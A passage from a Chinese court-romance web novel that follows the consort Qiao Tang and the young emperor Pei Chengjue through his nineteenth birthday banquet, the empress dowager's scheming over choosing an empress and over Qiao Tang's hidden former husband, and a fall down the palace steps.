裴承珏凝眉思付,柳太师乃是先帝的启蒙老师,也曾教导过他,至今已故去五年了,至于柳太师的孙女柳荷曦,他当真无印象了。 太后笑道,“当初柳太师带柳荷曦进宫,先帝揶揄人家,还让陛下叫柳荷曦姐姐,陛下当真不记得了?” 裴承珏摇头,他一贯认为,记不得的东西必是些对自己无用、或自己不喜的东西,遂也不当一回事,起身要走。 “母后接着听戏吧,朕忙去了。” 太后目送他的身影消失,示意宫人叫戏再唱起来,咿咿呀呀声中,素兰回来了。 “禀太后娘娘,一切皆已安排妥了。”她见太后面有倦色,倾身为她按揉太阳穴,低低私语,“太后娘娘也莫太烦心惠贵妃一事, 若因此伤了身体便不值了。” 太后闭眸不语,她踌躇着道,“太后娘娘心中既有成算,何故现今不用?若等惠贵妃对陛下也有了情意,两人合力,不更棘手么?” 太后唇角勾出讥讽的笑,“情意深了是好事啊,有那样一根刺在,两人情意越深,刺扎得就越深,届时由爱生恨,幽怨愤恨下也就散了,谈何合力?” “自然,哀家也不是无情之人。”她叹了口气,“若惠贵妃识相,脑子清楚,听从哀家安排,及早出宫,哀家便叫她好过些,端看她如何抉择了,且等等她。” 骤然激扬的戏声掩住了这话,唯听得见的素兰姑姑了然垂头。 此时先帝后妃们已纷纷离宫,阖宫上下都知晓了此事,暗暗惊叹惠贵妃当真备受陛下宠爱。 也有个别私语,说是陛下送太妃们去行宫,是要为择妃做准备了。 这些流言很快进了乔棠耳中,乔棠思付,裴承珏是以为她被陈太妃惊了才如此,太后下的懿旨应是真要为择妃准备了。 留给她做抉择的时间并不多了。 当晚,裴承珏回来得早了些,说是要在窗下读书,又说已是深秋,天冷,非要抱了乔棠在怀里,下巴枕在乔棠肩上,一手翻着书页。 房里温暖,琉璃灯泄下亮光,映得乔棠面颊嫩白如玉,凝脂肌肤透着莹润色泽,裴承珏的手指游走其上,如将肌肤舔舐了一遍。 乔棠本就换了寝衣,衣领微敞,春色无边,裴承珏的手指控制不住地往下移动。 乔棠浑然不觉,她只顾思索白日问题,不知裴承珏的动作,直到胸前传来手指触觉,方惊呼一声,将那手指推了出去。 裴承珏笑道,“姐姐回神了?” “陛下正经些,快读书吧!”乔棠将他的脑袋对着书册,他这才安静下来读书去了。 没过一会儿,他飞快地阖住书卷,“实在读不进去,姐姐饶了朕吧。” 乔棠气结,记得当初,他可是非常之端正认真地说读书之事不可懈怠的,遂捡了他先前的话驳回去,“陛下做事怎能半途而废?” “姐姐学琴不也半途而废?可见朕与姐姐脾性相合,默契非常,天生一对。” 都是些歪理! 乔棠欲起身,被他揽紧了,寝衣松散得不成样子。 对上裴承珏灼灼目光,她心里直叹,看来今夜歇不成了,正欲接受裴承珏的亲吻。 “姐姐说的是,朕再读半个时辰,姐姐且去歇息。”裴承珏替她整好寝衣,送她到了床上,微微一笑,“姐姐睡吧。” 乔棠惊讶,他、他不要了? 眼见裴承珏转身要走,她一下握住裴承珏的手,扬颈看过去,“陛下怎么了?” 殊不知,从裴承珏垂下的视线来看,灯火下的她宛若丰美白玉,只等他压下去留着情热的靡艳痕迹。 裴承珏呼了口气,姐姐有时候对他真是太过松懈了,他当即扯落纱帐,遮住了眼前春色。 隔着轻纱,他压下渴求道,“今日叫姐姐受了委屈,姐姐并未罚朕打朕,朕更是过意不去,故朕罚自己五日不亲姐姐,好叫朕记住这个教训。” 他说着就转身走了,留下乔棠在帐里怔了一瞬,他竟来真的,果真还是年少,心思赤诚。 乔棠倏地笑出了声,干净透亮的笑声传出纱帐,似浸了蜜的晚风,带着听得裴承珏竭力忍耐,察觉出身下异常,步子迈得更快了。 大抵上睡前笑了一阵,乔棠抛却了白日忧愁,心情颇好地入睡了。 待裴承读罢书回来,她已睡得极深,裴承珏掀开纱帐,凝视着她的睡颜,抑制不住地探身下去。 薄唇快要亲上面颊时,忽地顿住了,他告诫自己不可,一旦这样日后容易松懈,就会渐渐地不在意姐姐的委屈了。 他猛地直起身子,决定去外殿宿一夜,走之前他迟疑地翻出乔棠的衣衫,拿在手中,只是衣衫,用来缓解而已,不算违背约定。 乔棠迷迷糊糊间,只觉身上好冷,习惯性地寻求怀抱,直接落了空。 她霍地睁开眸子,身侧空荡荡,她撩开纱帐,见还不是上朝时间,裴承珏应还在这里。 正欲下床去寻,迷糊的脑子霎时清醒了,是了,裴承珏决定罚自己五日不亲近她,兴许也不和她睡在一起了。 乔棠心下一凉,为自己,她怎能如此沉溺在裴承珏的怀抱中? 这世间有多少盟誓变作了虚言,便是裴承珏再许下多少诺言,也都有可能在未来某一日土崩瓦解。 倘若裴承珏变心了,也如今日这般不亲近自己了,任由自己躺在冰冷的夜里,而去了其他女人的床榻,她将如何? 她绝不能变成另一个陈太妃。 乔棠转瞬躺下去,强迫自己睡下,也强迫自己忘掉裴承珏温暖的怀抱。 堪堪捱了许久,到了裴承珏上朝时间了,也到了往日乔棠没裴承珏的时候了,她方沉沉睡去。 白日里,她到勤政殿,依旧应裴承珏的要求画自己的画像。 裴承珏果真做到了不亲她,只坐在御桌后注视着她,灼热视线竟比亲吻还要烫人,就这么烧到她的身上,叫她手指颤抖,啪一下丢了画笔。 “姐姐怎么了?” 裴承珏下阶而来,俯身捡起画笔递给她,她微愠地瞪过去,不亲便不亲了,何苦拿视线扰她! 实则她瞪过去的视线,也叫裴承珏情难自制,递笔时手指碰到乔棠手指,也只缓解那么一下。 他甚至开始憎恨昨日的自己,做什么许下那样的约定,不过一个上午已这般煎熬,这五日该怎么过! 乔棠见状觉着好笑,原来他早已忍不住了,她坏心眼地贴过去,红唇张合,“陛下。” 砰得一声,裴承珏抬袖时,手臂推倒了画架,他也不管,一手摁住乔棠后颈,迫使她贴得更近。 “姐姐想要么?” 滚烫气息拂过来,乔棠心尖泛起酥麻,往日亲吻触觉传入脑海,心神震颤间不肯认输地反问,“陛下想要么?” 想,如何不想? 裴承珏再近一点便可亲上了,可是不能,他一下松了乔棠,扬颈松了口气,“来人,送惠贵妃回宫歇息。” 乔棠不可置信,被宫人请出殿后,她心道裴承珏还真坚定,她都没拿约定当一回事,他自己倒较真上了,行,那这几日可别见了! 她自走得利索,裴承珏不舍地望着她的背影,越发憎恨昨夜的自己。 到了下午,乔棠因此腾出了时间,恰逢静仪郡主在漱玉阁调香,她便过去了。 静仪郡主惊喜地向她行礼,“惠姐姐不用陪陛下么?” 乔棠唇边笑意不减,“这几日陛下过忙,无暇顾及本宫,你可调出满意的香了?” 静仪郡主欢喜点头,“给惠姐姐闻闻。” 待香几燃起薄雾,散出香气,乔棠一闻便知,这是魏清砚惯常用的那种,不由颔首,“调得极好,明日魏编修来讲书,便用上吧。” 静仪郡主红了面颊,微微颔首,“明日惠姐姐也要来。” 乔棠本无意去,但见她那双明亮眸子含着期待,心道左右太后也会叫她去,便应了下来。 翌日她也不去勤政殿了,用过早膳,静仪郡主已派人来请,她遂去了文华殿。 魏清砚已在殿里了,静仪郡主也已到了,并在殿中燃起清香。 熟悉气息笼罩过来,魏清砚见她来了,眸色一喜,俯身向她行礼,“微臣见过惠贵妃。” 清香如故,似与在冀州无二,可惜两人境遇大变。 昔日前夫成了臣子,向她这个前妻行礼,真是造化弄人。 “魏编修无须多礼。”乔棠摒弃杂念,在阶下长案下坐下,身侧挨着静仪郡主。 熟悉清香笼在四处。 静仪郡主满心仰慕地望着阶上魏清砚,魏清砚垂下的视线只瞧见乔棠衣袖。 乔棠则微微笑道,“静仪郡主调的这香清 淡悠远,颇为适宜眼下讲书,魏编修以为如何?” 静仪郡主垂颈,耳根粉红,也就没瞧见魏清砚眸中闪过的痛楚。 魏清砚压下心头阵痛,他是喜能与棠棠同处一室,可也痛在棠棠将其他女子推到自己跟前,一时唇角紧绷,半晌未能答话。 静仪郡主郡主慢慢地绞紧了手中帕子,乔棠察觉,轻轻地抚了抚她的肩以示安抚。 忽地殿门外一道唱声响起,“陛下驾到——” 三人惊讶,一起对着迈步进来的裴承珏行礼,裴承珏神色淡淡,走到乔棠跟前道,“惠贵妃今日来魏编修讲书?” 乔棠颔首,不然呢,去勤政殿再被你赶出来? 殿里一静,裴承珏神色如常,空气莫名窒了几分,渐渐叫人透不过来气。 静仪郡主觑了一眼裴承珏侧脸,只觉他很生气,遂扯了扯乔棠衣袖,轻声道,“陛下寻惠姐姐定是有事,惠姐姐快随陛下去吧。” 乔棠见状,也知裴承珏不悦了,再这么僵下去,书也讲不成了,便笑道,“那郡主好生听书,本宫随陛下出去了。” 裴承珏当即牵起她的手,出殿时鼻尖一动,闻得熟悉清香,“姐姐在此燃香了?” “是静仪郡主学了调香,特意在此燃的。” 两人慢慢远去,阶上长案后,魏清砚抬眸,视线追了许久。 直到静仪郡主喊,“魏编修。”他才回神,垂眸翻阅书卷,开始讲书。 静仪郡主边听边奇怪地往外瞧,适才除了陛下与惠姐姐,外面也没什么了,哪里值得魏编修盯这么久? 她不解地收回视线,瞥了几眼魏清砚冰冷容色,垂颈咬唇,魏编修一直这般冷么? 乔棠随裴承珏回勤政殿,一进殿就被他抱进暖阁,薄唇贴过来,“姐姐去听魏卿讲书,是不是看魏卿了?” “自然没有,只是陪静仪郡主而已。”乔棠也不躲避,不是不亲? 裴承珏果然克制地没有亲上,只抱紧她,“那姐姐很听话。” 乔棠由着他抱了会儿,“陛下该去忙了。” 裴承珏松了她,又让乔棠坐在画架前继续完成画像,且去忙了,期间也忍着不去看乔棠。 一连几日都是如此,乔棠只觉裴承珏看她的目光越来越不对劲儿,隐忍渴求下也遮不住那种掠夺意味了。 乔棠心叹,他可别为了惩罚自己,把自己憋坏了,且这事对乔棠也没有好处,裴承珏憋到最后释放时,惨的可是她。 于是这夜,她拉住要去外殿宿的裴承珏,轻轻带他到床边,“臣妾已知陛下心意了,陛下也无须这般委屈自己。” 说着主动倾身过去,唇瓣快触上裴承珏脸颊时,掌心堵住了她的唇,“姐姐且再等等!” 乔棠气结,娇媚眸子瞋过去一眼,上手去解裴承珏的腰带,果听到裴承珏急促呼吸,她启唇探舌,掌心淌出暧昧水痕。 裴承珏猛地扣紧她的腰肢,她心里一笑,没成想下一刻她就被摁进锦被中。 “姐姐睡吧!” 裴承珏匆匆离去,留下她凌乱地躺在被中,手中还捏着裴承珏的腰带。 半晌,她气得翻身坐起来,将腰带随手扔到了地上,睡就睡,放下纱帐,自去睡了。 夜半时分,忽觉手腕被抬起,朦胧意识清醒些许,闻得一道轻声,“姐姐醒醒。” 她慢慢睁开眸子,四周散落几颗夜明珠,帐内亮亮的。 忽觉手腕异常,她抬起一看,竟发现两只手腕被她扔在地上的腰带绑住了。 正欲开口,裴承珏抬起她的下颌,薄唇覆过来,渡了一口清酒,“姐姐乖,咽下去。” 乔棠顺势吞下去。 一口接着一口,连喂几口,她摇头拒绝了,裴承珏也不勉强,一手伸出帐外扔了酒杯,另一手握住乔棠手腕,移向一处。 “姐姐,五日过了。” 乔棠一惊,算算时间,今日便是第六日了,她对上裴承珏滚烫视线,瑟缩地往后移动身子。 手腕挪开,又被摁回去。 “姐姐不怕,朕轻轻的。” 裴承珏所有动作都很怜惜,一片旖旎中,他低低地可怜道,“姐姐,五日真的很难熬。” “朕已吃了教训,姐姐就可怜可怜朕,叫朕舒服些,可以么?” 气息滚烫,言语也是滚烫的,烧得乔棠本就被酒意微醺的脑袋很快没了意识,晕晕乎乎地由着他了。 便是脑子猛地清醒那么一下,也是震惊裴承珏简直是个蛊惑人心的妖孽。 她也曾听过关于自己的流言,朝堂后宫都说她生了这样一张脸,蛊惑了未及冠的天子。 此时此刻,分明是裴承珏蛊惑了她,叫她不能自已地任他摆布。 意识沉沉浮浮间,她听到裴承珏满足低语,“没了姐姐,朕怕是要死了。” “姐姐发誓,此后余生,绝不会离开朕半步!” 乔棠被逼着,说了些自己都不清楚的胡话,直到卯时时,裴承珏才放过她。 裴承珏抱着她沐浴过后,为她上了药,掩好锦被,本是要走了,又俯身在床边吻了吻乔棠面颊道,“姐姐,今日是朕生辰。” 乔棠惊得霎时清醒,是了,确然是这日,这几天被裴承珏折磨得都快忘了这一事了。 且今日还休朝一日,裴承珏起这般早,定是外面已备了仪仗,他且先去太庙行祭祀礼。 “朕等着姐姐的生辰礼物。” 乔棠目送他离开,脑中闪出昨夜缠绵片段,也零星地记起裴承珏的话语。 “姐姐发誓,此后余生,绝不会离开朕半步!” 她发誓了么? 她已记不清了,那就当没有吧。 待天一大亮,宫中忙碌起来,预备天子生辰宴。 乔棠用过早膳没多久,慈宁宫派人来请,她迟疑许久,还是去了。 及至宫中,进了正殿,闻得一声雀跃之音,“臣女见过惠贵妃!” 却是魏若湄先朝她行了一个礼,而后扑到她怀里,扬起笑脸,“乔姐姐!” 乔棠惊喜,生辰宴晚间才开,恭贺天子生辰的朝臣家眷酉时方被允许进宫,魏若湄倒是来得极早。 “若湄,不得无礼!” 乔棠正欲道无碍,闻声望去,却见一个衣饰华贵的中年美妇,气质爽朗通透,观其面相五官,使她当即想到了魏清砚。 此刻魏若湄不舍地离了乔棠几步,走向那国公夫人,“娘亲,乔姐姐不会生气的。” 乔棠垂眸,她果真是魏清砚的亲生母亲,镇国公夫人。 “臣妇见过惠贵妃。” 国公夫人向乔棠行了礼,乔棠微微一笑,正座之上的太后娘娘这才出声,“都坐下。” 乔棠落座,魏若湄正要坐下,却被太后喊去找静仪郡主了,一时只剩三人。 乔棠接了宫人茶水,细细抿着,忽觉有道视线过来,侧目望去。 却是国公夫人冲她微微一笑,“今日得见惠贵妃,果如传言中那般蕙质兰心,贤淑典雅。” 乔棠笑道,“国公夫人谬赞了。” 太后却朝国公夫人道,“你也是个眼光好的,如陛下一样,一眼瞧出了惠贵妃的万般好。” 国公夫人笑了一声,又去望乔棠,但见她娇美沉静,柔嘉温婉,不知怎地,心头浮出点异常,想起了自己那冰山似的儿子。 美人难得,若有这样的女子陪着儿子,儿子便是再冰冷薄情,也会展颜一笑吧。 但这个念头一闪而过,倏地被她掐死了,她面上笑着,心底暗骂自己想哪里去了,这是陛下千宠万爱的惠贵妃,与自己儿子有何干系! 居于高座的太后视线下垂,目光来回扫过两人,张口聊了些别的。 过了会儿,太后提及静仪郡主,叹了口气,直道她那父兄,一个耳根子软,一个过于荒唐,“可怜了静仪了。” 乔棠心里一跳,此刻提静仪郡主,莫非是说她中意魏清砚一事? 国 公夫人显然也所料,笑道,“暂且不论襄王爷与世子,静仪郡主也是性子极好的姑娘,他日定有好造化。” 太后点点头,“静仪是乖巧,也喜读书,听说前阵子还随惠贵妃学了调香,清砚为她讲书也道调得好。” 国公夫人惊讶,没成想惠贵妃也会调香,笑着看向乔棠。 乔棠则是心惊,太后若提静仪郡主与魏清砚婚事,何故将她掺和进来? 太后又道,“哀家看静仪和清砚都喜静,喜读书,性子也是合的,惠贵妃,你见过两人相处,哀家说得可对?” 乔棠迟疑点头,单论喜静,她无法反驳,至于读书,她无法说,国公夫人知晓魏清砚厌恶读书这点么? 国公夫人笑得爽利,“清砚那哪里是喜静,他那是性子冷,不爱说话。” 接着笑容消失,面容露出苦涩,叹了口气道,“他在冀州那个温家受了苦,成了这副冷模样,又加之他和前妻和离了,更是不爱言语了。” “臣妇自知了他要为静仪郡主讲书,心里就担忧得不行,生恐他那冷淡模样,伤了静仪郡主。” 乔棠听得瞥去一眼,她竟帮魏清砚不动声色地挡了回去,心里慢慢笑了,魏清砚终于也有这么疼他护他的母亲了。 “原是这样,惠贵妃也曾跟清砚学过琴,清砚果真这般冷情冷心?” 乔棠抿唇,“魏编修确然不喜言语。” 短短一句,再不多提,太后深深地凝视了她一眼,“既然惠贵妃都这般说了,想来清砚性格确实冷了些。” 乔棠只觉哪里不对劲儿,还未容她细想,门外传来唱声,“陛下驾到——” 裴承珏来了,她顿时如得救星,侧目往殿门口看去,俄顷眸子瞪大。 但见裴承珏挺拔巍然身躯撑起阔大的天子冕服,八章玄衣显出赫赫威仪,素色大带伴有朱缘,其上悬落金云龙纹玉佩,六彩织就的大绶垂于身后。 他在宫人簇拥下迈步进来,一张极俊的面容显露无遗,朗目疏眉间尽是意气风发,步伐却已显出青年的沉稳。 清润薄唇在望见乔棠时,立时绽出一抹笑意,透出一股放纵恣意,“姐姐!” 此声一出,殿中静默。 宫人垂头,太后与国公夫人愕然不已,便是乔棠也羞得低下头,这等场合怎能乱喊! 一片寂然中,忽闻脚步声渐近,她迟疑着要抬头,俨然已晚了! 霎时间她已被裴承珏逼近,巍巍身躯如臣服般,弯在她的面前,欢喜之声溢于言表。 “姐姐,朕十九岁了!” 乔棠怔怔地望着那含笑的眉眼,整副心腔,不,近乎体内所有地方都在颤动。 似乎记忆深处裴承珏所说过的零星之语也被震出来了,一下一下地叫她屈服,“待朕及冠,做朕的妻子吧。” 第29章 裴承珏离及冠只剩一年了! 他的目光那么热切,那么赤诚,恨不得将一颗真心剖给乔棠,以求取她的折服。 乔棠心脏突突狂跳,几欲眩晕过去,忙地垂颈阖眸,手指伸过去时都在发抖,指腹隔着帕子抵在他凑近的面容上,“陛、陛下稳重些!” 裴承珏感受到指腹的轻颤,唇边笑意骤敛,直起身子退了一步,“是朕太过欢喜,惊了惠贵妃。” 却也不肯全退,一把握住乔棠手腕,温暖掌心包裹住那股颤抖,希望能抚平乔棠受惊的情绪。 殿里骤然响起太后的声音,“惠贵妃说得极是,陛下既已十九岁了,自该比往日稳重,还不快去换了冕服再来。” “儿臣这就去换衣,惠贵妃与朕同去。” 裴承珏目光不离乔棠,手上微一使力,乔棠也有离开之意,顺势借力起身,向太后行了礼,就同裴承珏离去了。 待宫人也退去大半,国公夫人方回神,心里惊叹,这个惠贵妃果真不得了,竟叫天子当众失态至此。 她笑着打破满殿寂然,“陛下与惠贵妃当真是情意甚笃。” 太后也笑了,对着她,意味深长道,“惠贵妃品貌双绝,见者无不动容,据说她那死了的前夫也对她一往情深。” 国公夫人听罢勉强颔首,心里疑惑,且不说太后这个笑怪怪的,便是那惠贵妃前夫如何,也不必对着她说罢。 太后瞧着她的神色,目光闪过一丝了然,“适才你说清砚和他前妻和离,这哀家倒不明白了,好好的夫妻怎么分开了?” “臣妇也不清楚。” 国公夫人提起这个也是发愁,听太后道,“不清楚便要问清楚,问不出来便去查,倘若清砚因此落了心病,余生再不娶亲,你且如何?” “太后说得极是。” 国公夫人只当她拐着弯催促自己应下魏清砚与静仪郡主的婚事,随口应承一声,也没忙心里去。 乔棠一路被裴承珏牵着回了太极宫,熟悉的温热触觉从手心传至心间。 待到太极宫,她内心震颤皆已被抚平,方进入寝殿,她就被裴承珏揽腰抱起。 “陛下!” 裴承珏步到镜前才将她放下来,伸开双臂,笑道,“请惠贵妃为朕解衣。” 眸子亮亮的,他是真的很欢喜。 乔棠被感染得也抿唇笑了笑,顺从了他的意思,伸手抚上了他的大带。 慢慢地,殿中只有衣物窸窣声。 只余单衣时,乔棠手指抚过裴承珏衣领,倏地被裴承珏攥住了。 她顺势抬眸,眉心迎来一吻,吻慢慢下移,移到唇边,温柔地撬开她的口舌。 吮吸已是裴承珏惯常手段。 乔棠渐渐意识模糊,腰肢被手掌一揽,整个人被抱到镜台上。 掌心托起她的后颈,要她抬起面颊迎合,她被吻得意乱神迷,扬颈阖眸,蝶翅轻颤。 裴承珏压下身躯,全然遮住了她,边吻边夸,“姐姐好乖。” 良久。 裴承珏察觉她软如春水,恐她晕过去,不舍地放开了她,“姐姐快呼吸。” 乔棠急促呼吸,骤然回神,攒足力气推开他,颤声微微,“陛下莫要胡闹了,快换衣吧。” 她恢复力气,下了镜台,也没顾上自己,看向了托盘中的新衣,稍后裴承珏还得去接受朝臣恭贺,莫耽搁了时间。 反倒是裴承珏笑着靠近,替她理好了衣衫,“姐姐不必急,还来得及。” 乔棠无声地瞥他一眼,他听话地换上了云肩通袖龙襕直身,吻了吻乔棠面颊,才肯离去。 乔棠原想着去歇一会儿,不知怎么地,刚坐在临窗案下,脑中一下闪出在慈宁宫时太后向她问询魏清砚之语。 此刻没了裴承珏在旁闹她,她脑仁清晰许多,思付再三,总觉太后是有意将她与魏清砚扯在一起,仿佛意有所指。 莫非太后知晓了什么? 一旦这个猜想从心底浮出来,乔棠再也坐不住了,不安地在窗前徘徊数步。 阵阵冷风也吹不散她心头疑影。 “姑娘,这都快入冬了,风冷入骨,可别立在这里了。” 王嬷嬷步过来,心疼道,“姑娘吹风吹得脸都白了,可别因此病下了。” 她被王嬷嬷拥着进了里间,又被逼着吃了一杯热茶,面颊虽慢慢红润起来,还是被不安折磨得头昏脑胀。 王嬷嬷道,“姑娘瞧着倦了,且去躺一会儿,养养精神,晚间还有陛下生辰宴呢。” 乔棠应下,期间裴承珏抽空回来一趟,见她歇下了,吩咐宫人,“待惠贵妃醒来,好生侍奉贵妃用膳。” 宫人应下。 乔棠一醒来,王嬷嬷就向她复述了裴承珏的话,她好生用了膳,待时间一到,安分地坐在镜子前,由着宫人梳妆,换上贵妃服饰。 将收拾妥当,还未出寝殿,裴承珏迈步进来,先是双目一亮,而后失望道,“朕回来晚了,无缘得见姐姐梳妆。” 本是微末小事,不值一提,偏到了他嘴里,宛若错失重宝。 乔棠无奈起身,主动去牵他的手,以示安抚,他果真微微一笑,转瞬变了说辞,“今日便罢了,日后有的是机会。” 好赖话全让他自己说了,乔棠也乐得不张口,只管让他牵着手,去往今日设宴的太和殿。 太和殿庄严肃穆,阔大辉煌,金砖铺地,灯烛如昼。 此刻已满殿华彩,朝臣携家眷分列两侧,见裴承珏与乔棠已至,皆跪地行礼。 “众卿起来吧。” 裴承珏牵着乔棠步过众人,乔棠本要去自己位置,不想被裴承珏攥住手腕,和他一起步上台阶。 两人同时坐在最高处,便是落座后,乔棠的手依旧被裴承珏掩在袖中紧紧握住。 阶下朝臣及家眷归坐,眼风四飞,纷纷惊叹于惠贵妃的受宠程度。 自开朝立国以来,唯有帝后才能端坐于上,可见陛下已将惠贵妃当做皇后来看了。 镇国公那一席上,国公夫人再次吃惊,侧目望向魏若湄,本想打趣几句她这个乔姐姐,却见魏若湄忧心地望向魏清砚,不由望向魏清砚。 魏清砚凝目直视高座,侧颜冰冷消融,余下柔和,眨眼又浮出痛楚,索性垂眸不看,握着酒杯的手指紧绷,已泛出青白色。 国公夫人面色倏变,又惊又惑。 此时殿外传来唱声,““太后娘娘驾到——”” 朝臣及家眷再次起身行礼,乔棠也与裴承珏一起起身,立于高座上,看向殿外。 太后甫一进殿,乍然见两人并肩而立,似已是帝后成双,双眼骤然一眯。 不过须臾间,双眸舒展,泛出笑意,面相慈和地命众人起身。 她步至台阶上,朝乔棠笑道,“惠贵妃到哀家这里来。” 乔棠也知自己不好坐在最高处,起身时见裴承珏仍是握紧她的手不松,低低委屈道,“陛下要臣妾为难么?” 裴承珏哪里敢,那五日教训已够了,他倏地松手,笑道,“惠贵妃只和母后说说话便回来。” 乔棠颔首,改为和太后娘娘坐在一起,目光望向阶下,视线掠过镇国公府席上,恰与魏清砚目光一碰。 殿中响起一阵清越琴音,两人这一望,也不过是蜻蜓点水,浮光掠影般细微。 乔棠随即望向了别处。 魏清砚视线一凝,也落至酒杯上,侧颜冰冷落寞,国公夫人窥得此情此景,心下大骇,目光锐利地望向魏若湄。 魏若湄瞒了她太多消息,一时吓得纤肩微抖,眼圈泛红。 国公夫人稳住面色,当即搂她在怀里,遮住旁人观望视线,“憋住!一切等回府再讲!” 她摁住魏若湄,侧目望向魏清砚,低语一斥,“且不说你与你妹妹瞒了我什么,你今晚不可饮酒,随时保持清醒!” 魏清砚了然点头,容色顷刻布满寒霜,眼神似薄刃地刮过四周,直煞得周身窥探他的眼风纷纷逃窜。 此时殿中舞乐仍在,已有臣子步上台阶,欲向裴承珏奉酒,太后示意乔棠去看。 乔棠抬目。 但见顾首辅领着顾玉清上前,两人跪地面向裴承珏,顾首辅斟了一杯酒递给顾玉清,顾玉清双手捧起。 灯火煌煌下,美人素手如玉,越过长案,将美酒献于裴承珏眼前。 美酒美人,近在咫尺,裴承珏唾手可得。 不想裴承珏抬袖,身侧宫人随即躬身,双手接过顾玉清手中酒杯,置于长案上,再退至身侧。 裴承珏视线未及顾玉清,只与顾首辅笑谈,顾首辅很快携顾玉清下阶而去。 乔棠看着顾玉清回到桌前,笑着与家人坐在一起,家人轻抚她的肩膀,不由仓促低眉,拿起酒杯细细抚摸。 太后在身侧低语,“顾家累世簪缨,门庭显赫,言行有矩,乃京中世家之表率,顾玉清姿态娴雅,举止端方,哀家属意她为皇后,惠贵妃以为如何?” 乔棠捏紧酒杯笑道,“太后看中的定是极好的。” “她是极好,但还是要看陛下。”太后示意乔棠再看向裴承珏,“陛下待柳家姑娘也有些不同。” 乔棠顺势望去。 但见一个中年文臣领着家中姑娘过来,那姑娘面若芍药,肤色莹润,体态袅娜,观其形貌,有二十左右,正捧起酒杯面向裴承珏。 “这是柳太师的孙女柳荷曦,幼时常随柳太师进宫面圣,与柳太师一起陪陛下读过书,陛下那时也颇亲近她,姐姐姐姐地叫人家……” “是么?”乔棠慢慢道。 太后目光暗藏锋刃,“是啊,陛下他就喜欢你们这些姐姐,也不知像了谁去,顾玉清比他小了些,倘若他不愿立顾玉清为后,柳荷曦也是极好的。” “太后选的都是极好的。” 乔棠柔声一笑,目光掠过阶下满殿的华衣,满头的珠翠,一时无处可落,似浮萍一样,无故无亲,飘忽摇曳。 魏清砚若有所感,忽地扬眸望来,乔棠的视线有那么一瞬要落到他身上了,蓦地一抬,直接错过了,落到裴承珏身上。 裴承珏依然没接柳荷曦的酒,柳荷曦同家人下阶而去,又有一个臣子抱着孩子拾阶而来。 这倒是首例,满殿都笑着往这边看,那孩童举着大大的酒杯,酒杯颤巍巍的,裴承珏挑眉,长臂越过长案,亲自接了,一饮而尽。 酒杯置于长案,他双眉舒展,对着臣子恣意而笑,“杨卿倒好意思叫六岁孩童向朕奉酒。” “还不是陛下挑剔,只喝六岁孩童的酒。” 杨大人斗胆笑言,满殿这才反应过来,他在揶揄陛下不喝几位世家贵女奉的酒。 杨大人抱起孩子下阶而去,裴承珏也不恼,立时起身,高高居于阶上,俯视全殿。 睥睨目光巡过群臣,薄唇勾起一个畅然的笑,竟坦言直告,“非朕挑剔,也非诸位姑娘不是。” “实乃朕已有惠贵妃了,世间纵有万般姑娘,非惠贵妃之酒,朕不会饮。” 这话落下来,无异于春日惊雷,直直砸落全殿,惊得阶下之人无一不瞠目。 无一人不在内心叫嚷:陛下已十九了,已十九了,不是六岁孩童了,这话意味着什么,他知晓么!他当真想清楚了么! 此话过众人之耳,留众人之心,倘若日后陛下变心,倘若日后陛下要择妃立后,扩充后宫,今日之言便会翻涌上来,叫陛下这个负心薄情之人在天下人面前颜面尽失。 一片死寂中,太后猛地起身,怔然许久的乔棠也如梦惊醒,忍着发涩发胀的喉咙,挤出一道柔声,且还将那声音扬开了,希望全殿都能听到。 “陛下怎还改不掉醉酒胡言的毛病?本就喝了几杯,倒醉得最快,说着不着调的胡话,叫诸位大人笑话。” 原是醉酒之言,殿里死寂氛围瞬时活了起来,太后也笑着埋怨道,“陛下酒量本就不行,何故多饮,瞧将诸位大臣吓的。” 那杨大人适时出来,伏地请罪,“都怪微臣荒唐了,让陛下多饮了几杯,请陛下太后责罚!” 裴承珏却已忘却殿中所有人,目光直直地看向乔棠,薄唇紧抿,似不明白乔棠适才为何那样说,他分明没有醉,头脑清楚得很。 四目相对,不过一瞬,乔棠狼狈无措地别过视线,裴承珏不悦地离了长案,朝乔棠迈步过来。 乔棠太后暗道不好,生恐他再对着乔棠说出什么不好收场的话,目光猝地转向乔棠,用只两人听得见的音量道,“阻止陛下,否则——” 她将乔棠拥进怀里,从旁人来看,似疼极了乔棠,护着乔棠不受裴承珏埋怨。 实则乔棠紧紧挨着她,听她冷声低言,满是警告,“惠贵妃,你那前夫当真死了么?” 霎时乔棠心口骤地发紧,浑身沁出一层冷汗,她知道了!她果真知道了! “惠贵妃,朕……”裴承珏近在眼前。 “惠贵妃面色不好,是否累了?”太后松了乔棠,示意乔棠开口。 乔棠满心苦涩,心知若不阻止裴承珏,太后势必将此事抖落出来,一时只得迎上裴承珏目光,说些哄骗他的话。 可裴承珏的目光那样坦诚,那样疑惑。 他不明白,他与姐姐两情相悦,他在群臣面前坦诚对姐姐的心意,姐姐为何要说他醉了胡言? 他以为姐姐一直以来都应该明白他的心的,他步步靠近姐姐,想在他的生辰宴上要一个答案。 这样的目光下,乔棠如何张得了口? 她被逼得 退了一步,全然忘了她正立于台阶之上,这一步下去,已然踩空了,当即身子往下坠去。 眼看要滚落台阶,这一瞬里,她竟没有任何恐慌害怕,反而如释重负地松了口气,摔吧,摔了就不必继续骗裴承珏了。 乔棠眼角坠下一滴泪。 “姐姐!” “惠贵妃!” “陛下!” 乔棠只听得见躁乱声,夹着一道闷哼,自己的身子没有凄惨地滚落台阶,反倒被裹进一个温热怀抱,脑袋也被两只宽厚手掌护着。 熟悉的怀抱微微发抖,伴着一道颤声,轻轻的,“姐姐要吓坏朕了。” 第30章 “陛下受伤了,快叫太医来!” 惊声四起,乔棠心脏似被掐紧,又疼又酸,紧张地要抬头看裴承珏情况,却被裴承珏摁在怀中动弹不得,“朕无碍,他在乱喊。” 乔棠不信,还要挣扎,头顶传来一道隐忍的闷哼,接着她被裴承珏抱起往内殿去,身后缀着担忧声,“陛下不可大动啊!” 裴承珏定是受伤了,她急得不行,但裴承珏紧紧锢着她,她挣脱不开,恼得拿手指去揪裴承珏衣领。 裴承珏忍耐着低笑,“这还没到床上,姐姐急什么?” 乔棠一怔,这个紧要关头,他还能说些不着调的话,约莫无大碍吧,这般想着,心间稍松。 外殿已是哗然一片。 适才众目睽睽下,惠贵妃即将从高台坠落,陛下迅疾地奔过去,不顾自身安危,将自己垫在了惠贵妃身下,双臂紧紧护着惠贵妃,滚落几层台阶才被侍卫以身挡住。 